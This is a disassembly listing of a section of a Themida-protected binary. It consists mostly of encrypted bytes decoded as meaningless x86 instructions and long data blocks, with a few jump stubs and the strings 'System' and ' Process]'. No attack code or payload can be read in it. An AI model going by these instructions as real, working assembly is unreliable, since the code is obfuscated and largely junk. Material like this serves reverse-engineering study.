		dd 0C133F060h, 2961F0DAh, 0C133F05Bh, 9BF0AA0Ch, 0C517A49Fh
		dd 0C517B48Ah, 0C133F09Dh, 5EF0A280h, 83CB9078h, 0C13679BFh
		dd 0B589F058h, 2803A824h, 0C133F013h, 5FA5C690h, 2953B8B6h
		dd 0C133F0C4h, 1A591Fh,	0D3DA54CBh, 6533F058h, 0DCE289Ah
		dd 0B60BCEB0h, 5FE4E797h, 6CFA5E07h, 4E3CA976h,	0C133F067h
		dd 0C13372BFh
		db 58h,	0F0h, 52h
; ---------------------------------------------------------------------------


loc_5DF30B:				; CODE XREF: Themida_:loc_5DEF5Dj
		js	short loc_5DF376
		sub	al, 2Eh
		mov	word ptr [ebx-1DEE5D8Bh], ds
		idiv	dword ptr [esi-25C1E684h]
		mov	cl, 8
		inc	edi
		mov	byte ptr [ecx-1], 0E2h
		or	bh, dh
		sbb	eax, esi
		stosd
		pop	eax
		mov	al, ds:0F02CC2DBh
		xor	esp, ecx
		dec	esi
		xor	ebp, [ebx+48h]
		dec	edi
		aam	37h
		inc	eax
		rcl	esp, 37h
		fcmovb	st, st(2)
		lock xor eax, [ecx+571F3331h]
		mov	ah, 0F3h
		cld
		dec	byte ptr [ebx+7EC15958h]
		sbb	[eax], dh
		rcl	dword ptr [esi], 0F0h
		adc	ebx, [ebx-6A455538h]
		mov	eax, ds:0E685B2F4h
		hlt
; ---------------------------------------------------------------------------
		das
		shl	dword ptr [ecx-10h], 71h


loc_5DF363:				; CODE XREF: Themida_:005DF3A1j
		xchg	eax, ebx
		jnb	short near ptr loc_5DF368+1
		fcomip	st, st(1)


loc_5DF368:				; CODE XREF: Themida_:005DF364j
		cmp	[ecx+18h], bl
		sub	al, 0CAh
		xor	al, 88h
		popa
		cmp	al, 39h
		sub	esi, ecx
		mov	ebx, ebp


loc_5DF376:				; CODE XREF: Themida_:loc_5DF30Bj
		xor	eax, ecx
		test	[eax+5D194055h], edx
		mov	ch, [eax]
		outsb
		lock xor eax, ecx
		xchg	eax, edi
		scasd
		sbb	al, 0D8h
		dec	eax
		jmp	short loc_5DF39E
; ---------------------------------------------------------------------------
		db 2
		dd 0D10BA13Dh, 0A00C5E36h, 0E1264D88h, 0CE32F761h
; ---------------------------------------------------------------------------
		inc	esi
		xchg	eax, ebx


loc_5DF39E:				; CODE XREF: Themida_:005DF389j
		xor	eax, ecx
		popa
		jno	short loc_5DF363
		sub	dword ptr es:[edx], 0DDE54226h
		cmp	eax, 3CF02B25h
		inc	esp
		inc	esi
		lock xor eax, ecx
		popa
		lock sub [esi-1D3ECC10h], ax
		lodsd
		lock pushf
		call	near ptr 32230B61h
		mov	ah, 17h
		lds	eax, [edx-10h]
		xor	eax, ecx
		imul	esp, [ebp+6440D4F0h], 0EAAB5BA8h
		mov	al, 7Ch
		fdiv	st, st(1)
		xlat
		mov	dl, 0FFh
		mov	bh, 89h
		popa
		lock xor ebp, [ebx-3D245C50h]
		pop	eax
		lock xor esp, ecx
		ja	short near ptr loc_5DF41D+4
		push	37D44A48h
		inc	eax
		dec	edi
		aam	37h
		xlat
		test	esi, eax
		xor	eax, [edx-506ACC6Fh] ; CODE XREF: Themida_:005DF401j
		outsd
		jo	short near ptr loc_5DF3FA+1
		xchg	bl, [ecx+34h]
		xor	eax, ecx
		pop	eax
		call	far ptr	0C133h:0F3C49733h
		push	ss
		shr	byte ptr [ebp+2], 1
		push	ebp
		jns	short loc_5DF45E
		in	eax, 81h	; DMA page register 74LS612:
					; Channel 2 (diskette DMA)  (address bits 16-23)
		jno	short loc_5DF492
		in	eax, 0C6h	; DMA controller, 8237A-5.
					; channel 3 current address


loc_5DF41D:				; CODE XREF: Themida_:005DF3ECj
		jmp	far ptr	265h:0B661C133h
; ---------------------------------------------------------------------------
		dd 0AB2815Ch, 42B6A89Fh, 2513E591h, 443CF111h, 0C133F060h
		dd 2966F0EFh, 0C133F0C1h, 9CF0AD41h, 0C5179C39h, 0C517B4D9h
		dd 0C133F03Ah, 0FFF0A553h, 0E88899AFh, 9C035E12h
		db 48h,	5
; ---------------------------------------------------------------------------


loc_5DF45E:				; CODE XREF: Themida_:005DF415j
		lock jnp short near ptr	loc_5DF49C+1
		pop	ebx
		imul	ebp, [ebx-3ECC6BA7h], 96339A58h
; ---------------------------------------------------------------------------
		dd 0C133F3C4h, 26CD016h, 0E54F7954h, 0E5777181h, 0C133ECC6h
		dd 264B761h, 5214CEFFh,	31F3D4E0h, 0C122198Dh
		db 16h,	0F0h
; ---------------------------------------------------------------------------


loc_5DF492:				; CODE XREF: Themida_:005DF419j
		db	2Eh
		loopne	near ptr loc_5DF4FC+3
		setalc
		mov	eax, 40A9CCE4h
		clc


loc_5DF49C:				; CODE XREF: Themida_:loc_5DF45Ej
		jecxz	short loc_5DF4F3
		sbb	dl, [ebx+ecx-44h]
		test	al, 9Ch
		xor	[edi], bl
		cmp	al, 0Eh
		xor	dh, al
		arpl	[ecx], bp
		das
		lock xor eax, ecx
		db	36h
		test	al, 0F0h
		cdq
		xor	byte ptr [edi+edx+17B404C5h], 0C5h
		fcomip	st, st
		xor	eax, ecx
		and	[eax-0A088210h], esp
		retn	0AC4Bh
; ---------------------------------------------------------------------------
		db 4Ah,	45h, 0BEh
		dd 0C48E7D05h, 4C3419DDh, 28E3AE86h, 9D2E4882h,	44008BF8h
		dd 0C6D7EEC0h, 28F23F9Bh, 2E2C6978h, 0A2759B8Ch
		db 11h,	0E2h, 0F7h
; ---------------------------------------------------------------------------


loc_5DF4F3:				; CODE XREF: Themida_:loc_5DF49Cj
		mov	esi, 0DA3E197Ch
		mov	cl, 8
		inc	edi


loc_5DF4FC:				; CODE XREF: Themida_:loc_5DF492j
		mov	byte ptr [ecx-1], 0E2h


loc_5DF500:				; DATA XREF: Themida_:005838A0o
		or	[ebx-5B0CFA17h], al
		cmp	dword ptr [ebp+7E9CAF4h], 0
		jz	short loc_5DF51C
		lea	ecx, [ebp+7E44FE7h]
		mov	eax, 1
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5DF51C:				; CODE XREF: Themida_:005DF50Dj
		inc	eax
		push	0
		push	ebx
		call	sub_5DF528
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DF528	proc near		; CODE XREF: Themida_:005DF520p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5DF528	endp

; ---------------------------------------------------------------------------
		dd 309640FCh, 11E9E8EAh, 20000000h, 27BB337Ah, 0EBB3FC46h
		dd 0FD301F4Ah, 626FD3D4h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0CCC35646h, 4CFF5C78h, 8322E99Eh, 6A2DE8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 12BC30C3h, 0DE8B557Fh, 35BAD0B6h, 8B6F5209h,	53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0F606885h, 38Ch, 0FBB70F00h,	11E9h, 0F30DB400h, 4F9B87E3h
		dd 5B4148A9h, 0DC8896A8h, 0BA61FAD9h, 7BE59F51h, 0BD83D68Bh
		dd 7E413F1h, 83097500h,	0E40935BDh, 19740007h, 0C08B5350h
		dd 3FCB8h, 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h
		dd 35BD8358h, 7E409h, 53501774h, 3FCB8h, 0ED858900h, 8D07E40Eh
		dd 0E6E6F89Dh, 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0FE43D60Dh
		dd 0AF291F79h, 0FD08B66h, 28Fh,	6AD78B00h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8182C357h
		dd 22255AF6h, 8B661908h, 8DC08BDFh, 0E9D2F38Dh,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 6BCB353Fh, 5C3A205Ch, 1415BD01h, 8D2907E4h, 7E426B9h
		dd 1B718D89h, 0BD8B07E4h, 7E425C1h, 2DA185C7h, 657807E4h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0EC5E1EC3h, 0DB0591EDh, 664E90DDh, 379CF781h
		dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF2E9FC3h, 0E41E8DB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 2FA7A37Ah, 6195FFF1h, 6A07E430h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0CAA0C352h, 0BF6656F4h, 6A5F6537h, 4195FF00h, 8B07E40Eh
		dd 9B1CEBC0h, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h
		dd 1B0C63C0h, 0BFD691ACh, 0E9D0BBEEh, 170h, 571542D8h
		dd 87A4687Ch, 4F584CD2h, 8855890h, 518E56ABh, 88D56B0h
		dd 518658B7h, 38AD718Dh, 51FF2487h, 0D3047088h,	9F00C42Ch
		dd 50B8B6BCh, 51C915F7h, 128h, 0
		dd 4, 2	dup(0)
		dd 36h,	0
		dd 8, 0
aSystem		db 'System',0
aProcess	db ' Process]',0
		align 10h
		dd 41h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E1139
; ---------------------------------------------------------------------------
		push	7E9D6A6h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9D7CFh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9D88Fh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9D973h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9DAB3h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9DC2Ah
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9DD08h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9DDBAh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9E064h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9E12Bh
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9E212h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9E294h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9E44Ch
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9E9E0h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		push	7E9EB26h
		jmp	loc_598345
; ---------------------------------------------------------------------------
		db 0FDh
		dd 0B3C8FB5Dh, 687DB0A6h, 182D60ECh, 0CCE11440h, 5C90C387h
		dd 0E565EE7Fh, 98BA9DB2h, 4A065065h, 0FB530217h, 16F963C8h
		dd 23FF63E6h, 0D92E2FE3h, 0A188D27Ch, 0A8AF98B2h, 120579AAh
		dd 0DAC10B43h, 9A8DD179h, 344891B9h, 15D533FFh,	3295C6ABh
		dd 0C20C042Ah, 8DC3937Ah, 0A504475Ch, 9AA723F9h, 0D3BA0256h
		dd 3588CC82h, 0F9A02050h, 0DF101D23h, 0F99F96CAh, 113B1923h
		dd 0D77FDACDh, 36195E93h, 9DB24549h, 5E8E99D1h,	2D9E5Ah
		dd 0BBA20000h, 382B399h, 7EC8C0E6h, 0F9979C9Bh,	87D27F23h
		dd 534286CFh, 23F9981Fh, 2D5BF487h, 12431346h, 5EAA227Ah
		dd 114495Ah, 0D9480000h, 0A188D27Ch, 0F15BF9B3h, 0E0115AADh
		dd 0A5DA796Ch, 147D2317h, 0B8FC454Dh, 7ABE90C5h, 3680CE87h
		dd 93C3A6EEh, 981C15F4h, 0F476A68Bh, 66731C15h,	0F1981B52h
		dd 0C9FA3AD9h, 0C1A8F066h, 0A4D4B993h, 0A91C1623h, 0ED566B9Ch
		dd 7F1C1628h, 20245437h, 1C291C16h, 0CB83D2EBh,	7CD28398h
		dd 58FDE438h, 94BFB2F6h, 303C6DB6h, 69E1721Eh, 0A5D2AF55h
		dd 0B2FBFDDAh, 16035668h, 172B1F34h, 95C6DD95h,	977D381Bh
		dd 74F23FAh, 0FA6EF424h, 0BBECF923h, 6EDC7724h,	0C4EAF225h
		dd 6EB8E8CBh, 233323FAh, 3A19C62Dh, 3079CC10h, 76BA9DE7h
		dd 1B2BE158h, 76DDC40Eh, 0C78CA1D4h, 7A8C9183h,	0F418C2A6h
		dd 1564F7h, 7DDB7F00h, 3224354Ah, 0E26AEAFFh, 96BE9AAFh
		dd 45054E63h, 70FDDE12h, 1F3467E3h, 0D2E71A38h,	8499CC84h
		dd 0E54A7DD1h, 6468987Bh, 0B16523FFh, 0C89178B0h, 0EF74A8Eh
		dd 0BED70848h, 6D82B595h, 0D41C66E8h, 158EC1F1h, 80B1BE1Ch
		dd 0C0E6A21Dh, 62DAECFDh, 3B8425D3h, 9B0F0EF1h,	0FF0C23F9h
		dd 5A8A6DB5h, 5F23F998h, 0BEAD2152h, 23F9988Ah,	74F05FF2h
		dd 5A5EA924h, 0E643h, 0F5604700h, 0D9A92859h, 3A8ED27Ch
		dd 94D0353h, 0E76C85B6h, 75071963h, 96FADBB7h, 7F66A9Bh
		dd 1C15D29Eh, 0D303E62Eh, 2B1C15C9h, 0A7D6E770h, 41178DCh
		dd 0B39BBAD3h, 0BEF80A80h, 697B14E6h, 0B1F559FCh, 0CBE4155Eh
		dd 2C80C48Ah, 0E3F1145h, 9AE4EC02h, 0FA62FCB7h,	0F0D7AF23h
		dd 3F0BD6F0h, 0DA5083CCh, 9798B1C8h, 0D188CFF7h, 0A5EE4185h
		dd 7F466874h, 48324EDCh, 0EBF50963h, 0D7ED6115h, 91B65AEh
		dd 3C42B3CCh, 32ACDD8Eh, 0FD5303EAh, 203566B9h,	2BE09CCBh
		dd 664D97A4h, 152A5DEDh, 0F91A0C3Eh, 9BC2A5C1h,	143B7A77h
		dd 0B2A80000h, 0FB5E73A6h, 4113285Bh, 95C3D80Bh, 0DC778CBFh
		dd 0A4073B6Eh, 5D90BA99h, 10430F48h, 0C2F55BFBh, 73A6A8ADh
		dd 91C1A40Eh, 8E23FF65h, 7AD9D9DAh, 0CD889DD0h,	0D9D34E81h
		dd 3A8ED27Ch, 4994C328h, 563F839Eh, 0B90C5000h,	68E66F88h
		dd 18342035h, 0DA74E1D4h, 4704FBA7h, 0FCDF2921h, 23F9E4F5h
		dd 0E965F0D7h, 9E1421B8h, 83C5E013h, 0D1B8001Bh, 0B4E4C983h
		dd 0B90C83C5h, 596F7BACh, 79240751h, 6E1467E3h,	11371D61h
		dd 5FECCF19h, 3D1B8769h, 0B4FFF56h, 0E3F087B8h,	0AAA2B299h
		dd 68E21366h, 7BDAD481h, 0E1578AD3h, 1555DFAh, 0BCD5064Fh
		dd 66C3B599h, 5AD23AE9h, 137B3936h, 0F2680000h,	3B1E3366h
		dd 81D3E81Bh, 0D58398CBh, 1C374C7Fh, 0E4C7FB2Eh, 1D50FA59h
		dd 0D0034F08h, 82B59BBBh, 3366E86Dh, 518164CEh,	4E23FF67h
		dd 7CD9999Ah, 0E82C2432h, 22084C95h, 0D7BA040Ch, 23F9BAD8h
		dd 957CC6D3h, 0FB4E92C4h, 35267CAh, 6BB3074Bh, 0BB104023h
		dd 0D23F9h, 0F9BAEB1Bh,	0B2E3F023h, 3E8880A6h, 0E38E645Bh
		dd 0D87D642Bh, 19492C76h, 161C238Eh, 3441D809h,	0FC5203EAh
		dd 0E2A1B4C9h, 0ED4A0D44h, 2165AEDDh, 7EC7BBCDh, 0E11131CDh
		dd 22C6CEFEh, 75BECB1Ch, 1A163844h, 99D6EDD0h, 0CCD9240Ch
		dd 94BA9B82h, 8FF0634Ah, 71F9FB93h, 2859A2B5h, 0A9A5B0C5h
		dd 0C1697F65h, 87CFB892h, 0E93285C9h, 2C0F579Fh, 23FA2AFCh
		dd 0AEC3F401h, 2BDE4257h, 6A554754h, 0B2C2A7F7h, 1297918Eh
		dd 0E4C0000h, 5702174Ah, 9DB7CCFFh, 0F1677CAFh,	381B3063h
		dd 0ABDF12h, 134163Dh, 0B4E76BECh, 6699B79Fh, 174A0451h
		dd 356548B2h, 3A23FF68h, 7AD98586h, 0E12A2630h,	8880A6AEh
		dd 0ADC85B3Eh, 1E823F9h, 63B6FA54h, 4A8E9B32h, 0B485FE57h
		dd 291C1A27h, 0ACC1F43Dh, 7B61A5A9h, 30135D55h,	2BDE3411h
		dd 0CABD010Eh, 6280C48Ch, 0B78CA486h, 59FFE8D5h, 12ADB7FBh
		dd 0B550503Dh, 46084D9Ah, 0EDE50B13h, 0A82DC0A3h, 0E5F223FAh
		dd 0A7A7AEA1h, 1738DF63h, 7CD48269h, 86988068h,	34657834h
		dd 0C00A0628h, 0A0D17BD9h, 4B04326h, 0A9902BDEh, 0D970A1ABh
		dd 3C2399CCh, 0EE07381Ch, 0B69DE767h, 1A6DB1A1h, 528675E9h
		dd 931C15E8h, 71E4014Eh, 0C095AADDh, 42644A8Eh,	0CE19FC46h
		dd 0C123F9FBh, 0D8A0D0B3h, 909D23F9h, 8C9E1447h, 23DFED7h
		dd 0F2A2D34Dh, 630F2116h, 0CD1760F6h, 0E445FBEAh, 9DB69D2Bh
		dd 0D8E57CADh, 0CA80D362h, 0C5639786h, 0DDF31C22h, 0B4A48BD5h
		dd 12F56FA0h, 240C9903h, 0E717FA08h, 0E423FA72h, 5D448ED7h
		dd 0E2356F8h, 0D0C30747h, 0E0D5C783h, 3CBAC39Eh, 11571B18h
		dd 0CE8C0000h, 1742578Ah, 5DF70C3Fh, 0B1A7BCEFh, 0F85B70A3h
		dd 0C0EB1F52h, 4174D67Dh, 0F4272B2Ch, 0A6D977DFh, 578AC491h
		dd 75A588F2h, 7A23FF68h, 7AD9C5C6h, 40279DD0h, 0F20B3C18h
		dd 0B4A7EB63h, 3469ADA1h, 0D28360EFh, 0E5B5497Ch, 825DBAA3h
		dd 1BCh, 77CD981h, 8669D629h, 1C167F56h, 0B6324653h, 0DA1E67E0h
		dd 96E06EE7h, 0A2E1AAAFh, 0DEA8D1h, 1F72B6FFh, 6D838BEEh
		dd 0F5381B65h, 0D723F9CBh, 0B9EA66F0h, 0E2D11522h, 23F9C8AEh
		dd 0A0CC8316h, 5A5EA5C8h, 3A6Fh, 0C0E66E00h, 0DC253128h
		dd 1B024A92h, 333183Eh,	81C158Fh, 0F58FE5Bh, 97CAC9DEh
		dd 8D6523F9h, 57AF3059h, 7BBF080Bh, 0FA2F588Ch,	222DC023h
		dd 5E021646h, 0E3155Ah,	78140000h, 8F1D4D30h, 7B751C15h
		dd 97F8D1CBh, 0F4253299h, 0F0D37ADBh, 1C1646C0h, 1D67B0BDh
		dd 0EA2E1E36h, 0AAF361F7h, 0CAB10579h, 88A7F88Bh, 1A2502Dh
		dd 0E56E87B8h, 9C518164h, 414E1C15h, 9D9CAEF8h,	0C9E0F358h
		dd 410D4831h, 579AAFDh,	6B404312h, 86CA8C6Eh, 0ECDBEF42h
		dd 1A64AD6Dh, 0EB24AB08h, 159BD808h, 0B4C8D51Ch, 5182BCD1h
		dd 0E36BEADDh, 0AA369FB0h, 9EB71C15h, 53757DB0h, 532A0D57h
		dd 5823FC89h, 391A014Bh, 8AC9DE11h, 82ACDCBFh, 0A4B123FCh
		dd 8E62695Bh, 7EA2BAC1h, 0FE081h, 1570300h, 0B6A0B9CEh
		dd 66E66E83h, 1A3A1E33h, 0C981D2E7h, 0F4796296h, 0A3B8EB5Fh
		dd 566B9EB4h, 81D5000h,	69CE014Dh, 6AEC1CFFh, 3DF123FFh
		dd 0D07AD93Ch, 0B6CD889Dh, 0EA13983Dh, 0AFE22BE0h, 327CD934h
		dd 92E52921h, 69B10549h, 997ED682h, 1C158E69h, 2C0F5966h
		dd 1C158EFCh, 0AAC3F401h, 5B70A3ABh, 0AEA2B4FAh, 153B2165h
		dd 89F0D31Dh, 2323F9A7h, 0F4381C3Ch, 0CCD970A1h, 0A112399h
		dd 53758023h, 325275A6h, 5C000008h, 296DDF75h, 0E96BEDD6h
		dd 0A22152A5h, 1D4D3078h, 221C158Fh, 88CBE415h,	5B8F7EC2h
		dd 0EB1C158Eh, 0F8402C5h, 7A5EF90Ah, 0E12A73DBh, 0D8ADB497h
		dd 556223FFh, 1D31240Bh, 380D5EAh, 0BEBCD256h, 0D2165F76h
		dd 0E4D674DFh, 0BABEA5DDh, 2060327h, 0E100000Fh, 97ACDF79h
		dd 4C6194C2h, 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh
		dd 7CD68196h
		dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF6BCAh, 0D91A1BCFh
		dd 889DD07Ah, 0EF3781CDh, 158EDC0Ch, 0A3D4E11Ch, 5FF4DB2Fh
		dd 0B4A1BAEBh, 0B33E509Ah, 74C299CEh, 396EE213h, 0C78E5BF4h
		dd 95DE6CE7h, 0AADAEC62h, 26ACA07Ah, 7424BCEDh,	0F35DBAA3h
		dd 0Dh,	999EDDF2h, 2C1F1C15h, 0FFFFFD81h, 8EA9DD31h, 17391C15h
		dd 6DEAD11Bh, 1D4EA1E5h, 61C1C0A3h, 515E23FFh, 19352007h
		dd 2A84D1E6h, 8EE1252Dh, 450E0145h, 0AFC41305h,	0BCE0BABEh
		dd 0E50BFh, 91C79300h, 4610495Eh, 0F656FE13h, 0AAAAAEC3h
		dd 59F16277h, 84C9F226h, 33487BCFh, 0E6FB2E24h,	98ADE070h
		dd 0F95E91BDh, 6B7CAC8Fh, 0CD8123FFh, 4D3078CCh, 1C158F1Dh
		dd 1311422h, 0FE1C158Fh, 94BFA8F1h, 0EE1F72B6h,	262E80D5h
		dd 0A699DD26h, 265B9FAFh, 457558A0h, 4A1C158Fh,	4E97B99Dh
		dd 7E6BE41Dh, 61ECACD7h, 8F4DCEE2h, 2F7F1346h, 725DBA49h
		dd 4387CD8Bh, 251FBFF0h, 1E000000h, 1D4D3078h, 221C158Fh
		dd 90CFE415h, 291C1599h, 0FFFCB836h, 0FE5940FFh, 19A0B389h
		dd 64AD636Ch, 1D9CCD20h, 7EC8C0E6h, 0F9AE7C9Bh,	0E525F23h
		dd 0F9AEEC1Fh, 0C5E76D23h, 3074BD8Fh, 0BF981A3Dh, 0B3FC4F93h
		dd 1268516Fh, 5707865Eh, 6380CF44h, 11155EF4h, 0C595D17Eh
		dd 625A5E31h, 222h, 8ED9DD61h, 0AEDC1C15h, 0A487C68Fh
		dd 1C158E74h, 0F0236C79h, 90D47ADBh, 158ED5A1h,	53FF581Ch
		dd 183C1C0Fh, 0F55A9FD4h, 0D5BC9898h, 0BAEACD80h, 0BF1C158Eh
		dd 0FF3869B2h, 8CC29350h, 9ED1E359h, 9F2174A8h,	1E354172h
		dd 246DE174h, 0E668EDE0h, 97B79EB3h, 0C5A06453h, 0D3831C15h
		dd 0C469997Ch, 59661C15h, 7FD9CC10h, 0FA7991D5h, 93BF9855h
		dd 0AFB3FC4Fh, 0EE62F4DBh, 61836BDAh, 3263FFB2h, 520A56F9h
		dd 0D95DBA49h, 196h, 77EFCBDDh,	6A9CCCAFh, 94A11C16h, 6E8C2D80h
		dd 7D27975Ah, 8392718h,	77CD989h, 0AE13D7BDh, 5CA6EFB2h
		dd 0CBB4C54Ah, 0E91A9679h, 7BD38275h, 3DA71F31h, 9B19FA2Dh
		dd 0E9FF076Ah, 0F5391341h, 2C0F59A2h, 23FA51E9h, 6E5DA1AEh
		dd 23FA4B3Ah, 75B99BBDh, 377BD382h, 0DDAAA51Ah,	5D0946D9h
		dd 5A5E230Dh, 612Ah, 12472E00h,	7CAD0044h, 0C8C0E6FDh
		dd 90BE977Eh, 302E55Fh,	0C523F998h, 976A9A7Dh, 626F23F9h
		dd 0BDC29A31h, 32079399h, 0B3C50F58h, 4C3D4B57h, 68DC0D46h
		dd 292B2D14h, 654892E5h, 23FA7035h, 0E7FC2D3Ah,	23FA6FB3h
		dd 0EE322236h, 0B1F55BFBh, 0BCC9862Dh, 3E2A25B8h, 5A5E426Eh
		dd 0BF0Dh, 7CD90C00h, 0E72B2332h, 14074B94h, 0D4C70B3Fh
		dd 9689CD81h, 0E65C8FBFh, 7EED88D4h, 0DE0FADCEh, 1628E8C9h
		dd 59FDE41Ch, 2F60B3F7h, 0C50F3F16h, 286A9A7Dh,	626F1C16h
		dd 0A0C6CE31h, 2894C4A7h, 8C991C16h, 579BB1A3h,	2971BB04h
		dd 16291646h, 0F206131Ch, 227E0808h, 0C84273F3h, 0FD4E0EE5h
		dd 0A546123h, 0E71A3023h, 0D7C981D2h, 0BAC24416h, 0A601FE22h
		dd 3D00000Bh, 0F3083B1Dh, 0A8BDF066h, 586DA0ACh, 0C215400h
		dd 9CD00347h, 25252E3Fh, 0D87ADDF2h, 8AC690A5h,	3B134257h
		dd 5639A308h, 23FF6F26h, 0D96E6F23h, 889DD07Ah,	6D9D80CDh
		dd 8F1C158Eh, 158E7CACh, 0D74811Ch, 984B700h, 8ED27CD9h
		dd 6194BA9Bh, 42C42h, 0A7424700h, 0CA141C32h, 0FF61F9E7h
		dd 0F3697623h, 9535F71h, 0E362F326h, 0EACD152Bh, 1C2360BAh
		dd 0EA81B2BFh, 76AA99DDh, 0DE1C2360h, 3E86044Bh, 23612B5Bh
		dd 0F223301Ch, 0B74D025Ah, 3A2295Dh, 1B2D0000h,	20C0884Ah
		dd 41C0F19Ch, 158EA9DDh, 8F0B301Ch, 798F1C15h, 65442771h
		dd 4A23F998h, 5397B99Dh, 1EC5B700h, 26BAC47Ah, 0ADF0502h
		dd 56040000h, 9FBACF02h, 0E56F84B7h, 391F3467h,	80D3E81Bh
		dd 786397CAh, 0B9EC5EF5h, 6C9FB3A4h, 1E51FF57h,	0CF024C09h
		dd 0ED1D006Ah, 0F223FF6Fh, 7CD93D3Eh, 2E4088D2h, 1FE9CDE3h
		dd 0ABDBC04Eh, 2E1C1673h, 0B5C22929h, 42A1084h,	19271841h
		dd 7ACD113Bh, 4CD38B66h, 175BF163h, 4E317BC4h, 24005A63h
		dd 0AA91DBE8h, 0FD4D06AEh, 0D91D66B9h, 7CF25586h, 0F8DE126Ah
		dd 0E0C3AD93h, 23FF12B0h, 0D57A0ADh, 0FF12FA2Ah, 0C1F2FF23h
		dd 4D9793B5h, 0E8E6836Ah, 0FADD252Bh, 1C15E5CAh, 0B7575122h
		dd 6ED56F04h, 8C993061h, 56FC5B42h, 8265AD23h, 1C165352h
		dd 4194A57h, 1C1653F8h,	0E6191538h, 88CC86D1h, 4A8EC095h
		dd 0FC464264h, 53A1D1B4h, 919E1C16h, 4803E660h,	5B23FA72h
		dd 0A71D5C4Eh, 6387BAC3h, 9F866h, 0E96FEB00h, 9EB8A1B6h
		dd 4EFE566Bh, 252061Bh,	0B199BACFh, 0DC614A7Eh,	8BA0D377h
		dd 3E5386CCh, 0F0053818h, 51B6E965h, 70D404E7h,	25D923FFh
		dd 0FDC0E624h, 4049ABC3h, 7EC8113Fh, 0FFF1B49Bh, 60AAB723h
		dd 4174DE79h, 0E3272B2Ch, 0A1ADA88Fh, 66EE6A5Dh, 5586CF22h
		dd 0E12B2749h, 0E8A513FEh, 478B982Bh, 5F424F61h, 1C161F2Fh
		dd 8CD61F2Ch, 0FA372EA9h, 2F40123h, 0BAC3FA8Dh,	76B6B3D7h
		dd 6D000009h, 23386BEDh, 0D8ED2036h, 889DD07Ch,	3C5184D0h
		dd 0CC003317h, 55F55EEFh, 84A0D22h, 0BA96C0D5h,	6BE37287h
		dd 8669D338h, 23FF7156h, 0D99E9F53h, 9B8ED27Ch,	1B5094BAh
		dd 240B79D6h, 640D2135h, 0A051EABEh, 9DB8D102h,	45A34FE6h
		dd 0BF085F57h, 0E9A0F88Ch, 0ADC75DBAh, 0C6000001h, 7EC8C0E6h
		dd 0F990C89Bh, 5801E823h, 3667BAFEh, 5F4E929Fh,	23F9912Bh
		dd 0C5A8A9AEh, 23F99095h, 448D9Ah, 0EE6A4C0Dh, 86CF2266h
		dd 9FB02542h, 44BDEE2h,	5E9D3068h, 16E375Ah, 0D9360000h
		dd 9B8ED27Ch, 634A94BAh, 0C4175BF1h, 0A8BA3093h, 4A7D0017h
		dd 0A3778B30h, 0E11429E7h, 0E6081445h, 9AB9A0EAh, 0E8196CB0h
		dd 0FBDE266Eh, 1C15D9CBh, 7D92C3D0h, 23F9EE3Ah,	0ABA7B05Dh
		dd 0EDD01862h, 23F9E6BDh, 0E66A6015h, 0D9405D9Fh, 38279BCCh
		dd 23FA8304h, 0EA76D96Ch, 5A5E6BB2h, 3EB9h, 9178B800h
		dd 4D598AC4h, 2E52F3Bh,	23F99803h, 0CE09B3C5h, 0A5CE74FFh
		dd 5A05DD74h, 59F6B015h, 2B1A5EA7h, 23FA00F7h, 0AA798B5Fh
		dd 204B2099h, 2D225B8Ch, 5E246941h, 0B60E5Ah, 0D90D0000h
		dd 9B8ED27Ch, 364892B8h, 7630A55Ah, 1343264Ch, 181C15F4h
		dd 1D91C20Bh, 0DF232B2Ah, 1E469ECh, 1C15F3D1h, 81D8C1CEh
		dd 0F53E91D5h, 508063ABh, 6A1C15F4h, 15F45787h,	0E047541Ch
		dd 2E3FA2D3h, 1C161035h, 2771DD78h, 8391540h, 7F8B9DA5h
		dd 4D06ED35h, 1C66B9FDh, 16080939h, 0C8F9061Ch,	0FCEEDCB3h
		dd 78C2CF23h, 5588C291h, 45371340h, 0BAC1E440h,	0BE1B183Ch
		dd 25000007h, 0DBF02335h, 90A5D87Eh, 405588C4h,	0F4093C18h
